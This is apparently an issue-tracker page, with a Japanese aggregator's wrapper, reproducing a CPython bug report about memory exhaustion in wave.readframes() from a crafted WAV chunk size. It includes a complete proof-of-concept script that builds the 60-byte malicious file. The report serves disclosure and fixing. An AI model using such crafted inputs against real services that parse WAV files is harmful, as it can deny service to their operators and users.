Memory Exhaustion in `wave.readframes()` via Crafted Chunk Size
まだ誰も着手していません。
- 主要言語
- Python
- スター
- 77.2k
- フォーク
- 35.9k
- PR マージ指標
- PR 指標を取得中
説明
Bug report
Bug description:
Summary
The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).
Details
_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():
https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L130
Reproducer
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295
"""
Memory exhaustion in wave.readframes() via crafted WAV chunk size.
"""
import resource
import struct
import sys
import tempfile
import wave
CLAIMED_SIZE = 0xFFFFFFFF # ~4 GiB
MEM_LIMIT = 256 * 1024 * 1024 # 256 MiB
def build_crafted_wav() -> bytes:
"""Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""
fmt_data = struct.pack(
"<HHLLHH",
1, # wFormatTag = WAVE_FORMAT_PCM
1, # nchannels = 1 (mono)
44100, # framerate
88200, # dwAvgBytesPerSec
2, # wBlockAlign (nchannels * sampwidth)
16, # wBitsPerSample
)
fmt_chunk = b"fmt " + struct.pack("<L", len(fmt_data)) + fmt_data
data_chunk = (
b"data" + struct.pack("<L", CLAIMED_SIZE) + b"\x00" * 16
)
riff_header = b"RIFF" + struct.pack("<L", CLAIMED_SIZE) + b"WAVE"
return riff_header + fmt_chunk + data_chunk
def main():
wav_bytes = build_crafted_wav()
with tempfile.NamedTemporaryFile(suffix=".wav") as tmp:
tmp.write(wav_bytes)
tmp.flush()
try:
w = wave.open(tmp.name, "r")
w.readframes(-1)
w.close()
except MemoryError:
print(
f"MemoryError from {len(wav_bytes)}-byte WAV "
f"with chunksize={CLAIMED_SIZE:,}"
)
sys.exit(0)
except Exception:
print("BLOCKED: wave rejected crafted chunksize")
sys.exit(1)
print("BLOCKED: no allocation error raised")
sys.exit(1)
if __name__ == "__main__":
resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
main()
Impact
Memory Error
Related issue
https://github.com/python/cpython/issues/141713
CPython versions tested on:
3.15
Operating systems tested on:
Linux
Linked PRs
- gh-151487
- gh-151488
コントリビューションガイド
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
調査の方向性
issue にある作成済みの WAV 再現用データを使用し、Lib/wave.py、特に _Chunk.init と _Chunk.read() から調査を始めてください。変更を加える前に、関連する PR gh-151487 と gh-151488 を確認してください。指定された chunk size が原因で再現用データが MemoryError を発生させなくなり、有効な WAV の読み取りが引き続き機能すれば完了です。
索引モデルが issue の本文から書いたものです。
評価
- 技術スタック
- python
- 領域
- security
- issue の種類
- バグ
- 難易度
- 3/5
- 見積もり時間
- 1〜2日
- 活発さ
- 停滞
- 明瞭さ
- 明確に書かれている
- 初心者へのやさしさ
- 25/100